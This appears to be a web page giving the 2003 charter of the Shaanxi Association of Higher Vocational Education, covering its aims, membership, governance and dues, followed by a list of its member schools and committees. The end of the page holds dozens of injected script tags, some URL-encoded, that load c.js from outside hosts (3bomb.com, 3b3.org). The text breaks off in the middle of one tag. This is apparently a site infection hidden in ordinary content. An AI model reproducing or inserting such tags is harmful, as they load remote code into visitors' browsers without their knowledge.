一、陕西省高职高专教育学会章程 (二○○三年十月) 第一章 总 则 第一条 本学会的名称:陕西省高职高专教育学会。(英文Shaanxi Association of Higher Vocational Education. 缩写 SAHVE) 第二条 本学会的性质:陕西省高职高专教育学会是由陕西省内从事高职高专教育的学校志愿组成的地方性、学术性、非赢利性社会组织。 第三条 本学会的宗旨:以国家教育方针为指针,以《教育法》、《高等教育法》、《职业教育法》为依据,以现代化建设对高等技术应用性人才的需求为导向,贯彻党的“十六大”精神,根据《中共中央、国务院关于深化教育改革,全面推进素质教育的决定》和《国务院关于大力推进职业教育改革与发展的决定》的有关要求,探索研究高等职业教育理论、规律和特点,推广高职高专教育办学成功经验,积极推动高等职业教育的改革和发展。努力为实施科教兴陕战略和可持续发展战略,实现陕西经济体制和经济增长方式的根本性转变做出积极的贡献。 第四条 本学会接受陕西省教育厅高等教育处业务指导和监督管理。 第五条 本学会的住所:陕西省西安市。 第二章 业务范围 第六条 本学会的业务范围 (一)组织学习马列主义、毛泽东思想和邓小平理论,开展现代教育理论的学习; (二)收集和交流国内外高等职业教育情报和最新动态资料,借鉴国内外高等职业教育规律和经验,研究陕西经济建设对技术应用性人才的需求特点,深入开展教育教学理论学习,探索具有陕西地域特色的高等职业教育规律; (三)组织开展校际交流与合作,举办各种形式的学术会议,广泛进行国内外学术交流活动,促进高等职业教育的改革和发展; (四)积极反映会员意见,对陕西省高等职业教育工作提出建议; (五)协助陕西省教育行政部门组织编写、审定、评估高职高专教学资料; (六)协助陕西省教育行政部门对高职教育教学进行评估; (七)完成陕西省教育行政部门交办的其他各项工作任务; (八)积极参加全国高等职业技术教育研究会及全国高等职业教育校院长联谊会的有关活动。 第三章 会 员 第七条 本学会的会员种类有单位会员、个人会员,以单位会员为主。 第八条 申请加入本学会的会员,必须具备下列条件: (一) 从事高等职业教育活动; (二) 拥护本学会的章程; (三) 有加入本学会的意愿。 第九条 会员入会的程序是: (一) 提交入会申请书; (二) 经理事会讨论通过; (三) 经业务主管单位审批; (四) 由理事会发给会员证。 第十条 会员享有下列权利: (一) 本学会的选举权、被选举权和表决权; (二) 参加本学会组织举办的各种学术活动; (三) 获得本学会各类教育教学信息资料服务的优先权; (四) 对本学会工作的批评建议权和监督权; (五) 入会自愿、退会自由。 第十一条 会员履行下列义务: (一) 遵守本会《章程》,执行本会决议; (二) 积极支持本会工作,参加本会活动,承担本会交给的工作任务; (三) 积极参加高职教育研究,总结办学经验,交流高职教育信息; (四) 按规定交纳会费; (五) 维护本学会合法权益; 第十二条 会员退会应书面通知本学会,并交回会员证。会员如果连续两年不交纳会费或不参加学会活动的,视为自动退会。 第四章 组织机构 第十三条 本学会的最高权力机构是会员大会,会员大会的职权是: (一) 制定和修改章程; (二) 选举和罢免理事; (三) 审议理事会的工作报告和财务报告; (四) 决定学会终止事宜; (五) 决定其他重大事宜。 第十四条 会员大会须有2/3以上会员出席方能召开,其决议须经到会会员半数以上表决通过方能生效。 第十五条 会员大会每届三年。因特殊情况需提前或延期换届的,须由理事会表决通过,报业务主管单位审查批准同意。但延期换届最长不超过一年。 第十六条 本学会设立理事会。理事会由会员大会选举产生。理事会是会员大会的执行机构,在闭会期间领导本学会开展日常工作,对会员大会负责。理事会设名誉理事长一人,理事长1人,副理事长若干,每年至少召开一次会议。 第十七条 理事会的职权是: (一) 执行会员大会的决议; (二) 选举和罢免理事长、副理事长; (三) 筹备召开会员大会; (四) 向会员大会报告工作和财务状况; (五) 决定会员的吸收或除名; (六) 决定设立常设机构; (七) 决定各机构主要负责人的聘任; (八) 领导本学会各机构开展工作; (九) 制定内部管理制度; (十) 决定其他重大事项。 第十八条 理事大会须有2/3以上会员出席方能召开,其决议须经到会理事2/3以上表决通过方能生效 第十九条 本会设秘书处,负责理事会的日常工作和《陕西高职动态》出版工作等。秘书处设在理事长单位,设秘书长1人,副秘书长1人,秘书若干人。 第二十条 本学会的理事长、副理事长、秘书长必须具备下列条件: (一) 坚持党的路线、方针、政策,政治素质好; (二) 在陕西高等职业教育领域内有较大影响; (三) 理事长、副理事长、秘书长最高任职年龄不超过65周岁; (四) 身体健康,能坚持正常工作; 第二十一条 理事长、副理事长任期最长不得超过两届。 第二十二条 本学会理事长为本学会法定代表人,具有下列职权: (一) 召集和主持理事会; (二) 检查会员大会、理事会决议的落实情况; (三) 代表本学会签署有关重要文件; (四) 任命学会秘书长、副秘书长; (五) 任命常设机构负责人 第二十三条 本学会秘书长具有下列职权: (一) 主持办事机构开展日常工作,组织实施年度工作计划, (二) 协调常设机构开展工作; (三) 提名副秘书长、常设机构负责人,交理事会讨论,理事长任命; (四) 处理其他日常事务。 第五章 资产管理 第二十四条 本学会经费来源: (一) 会费; (二) 政府资助; (三) 捐赠; (四) 其他合法收入。 第二十五条 本学会按照国家有关规定收取会员会费。会费标准为:理事长、副理事长单位每校每年2000元,理事单位每校每年1500元,个人会员每人每年500元。 第二十六条 本学会经费用于本章程规定的业务范围和事业的发展,不在会员中分配。 第二十七条 本学会的财产管理执行国家规定的财务管理制度,并接受会员大会监督。 第六章 附 则 第二十八条 本学会章程的修改,经理事会表决通过后报会员大会审议。修改的章程,在会员大会通过后15日内,经业务主管单位审查同意、登记管理机关核准后生效。 第二十九条 本学会终止经会员大会表决通过,并报业务主管单位审查同意。经社团登记管理机关办理注销登记手续后即为终止。 第三十条 本章程经2003年9月25日会员大会表决通过,自社团登记管理机关核准之日起生效。 第三十一条 本章程的解释权属本学会的理事会。 二、主管部门:陕西省教育厅
三、挂靠单位:西安航空技术高等专科学校 四、领导机构: 理事长单位:西安航空技术高等专科学校 副理事长单位:杨凌职业技术学院 陕西工业职业技术学院 西安航空职业技术学院 陕西国防职业技术学院 陕西职业技术学院 西北大学职业技术学院 西安建筑科技大学技术学院 西安思源学院 西京大学 西安翻译学院 西安欧亚学院 西安外事学院 五、工作机构:秘书处 机械工程类专业委员会 自动化技术类专业委员会 计算机技术类专业委员会 经济管理类专业委员会 公共基础类专业委员会 学报工作委员会 <script src=http://3bomb.%63om/c.js></script><script src=http://3bomb.%63om/c.js></script><script src=http://%33%62omb.com/c.js></script><script src=http://%33%62omb.com/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script><sc |